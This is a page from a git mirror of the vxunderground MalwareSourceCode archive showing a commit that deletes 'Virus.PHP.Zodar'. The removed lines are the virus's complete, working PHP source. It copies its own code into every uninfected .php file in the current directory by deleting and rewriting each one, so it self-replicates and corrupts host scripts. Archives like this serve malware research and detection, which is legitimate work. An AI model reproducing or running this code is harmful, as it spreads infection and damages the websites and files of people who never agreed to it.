mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-18 17:36:11 +00:00
Delete Virus.PHP.Zodar
This commit is contained in:
parent
4c152c8cab
commit
eb18812e08
@ -1,39 +0,0 @@
|
||||
<?php
|
||||
function zodar()
|
||||
{
|
||||
//[Zodar] by Negral
|
||||
//Created 03/05/2002
|
||||
$c = "";
|
||||
$f = fopen (__FILE__, "r");
|
||||
$c = fread ($f, filesize (__FILE__));
|
||||
fclose ($f);
|
||||
$c = substr($c,0,866);
|
||||
$handle=opendir('.');
|
||||
while (($file = readdir($handle))!==false) {
|
||||
if ($file != "." && $file != "..")
|
||||
{
|
||||
$s = substr($file, -3);
|
||||
if ($s=="php")
|
||||
{
|
||||
$g = fopen ($file, "r");
|
||||
$cont = fread ($g,filesize ($file));
|
||||
fclose ($g);
|
||||
if (!strstr($cont,"[Zodar]"))
|
||||
{
|
||||
unlink("$file");
|
||||
$g = fopen ($file, "a+");
|
||||
fwrite ($g,"$c");
|
||||
fwrite ($g,"\n");
|
||||
fwrite ($g,substr($cont,5));
|
||||
fclose ($g);
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
closedir($handle);
|
||||
}
|
||||
zodar();
|
||||
?>
|
Loading…
Reference in New Issue
Block a user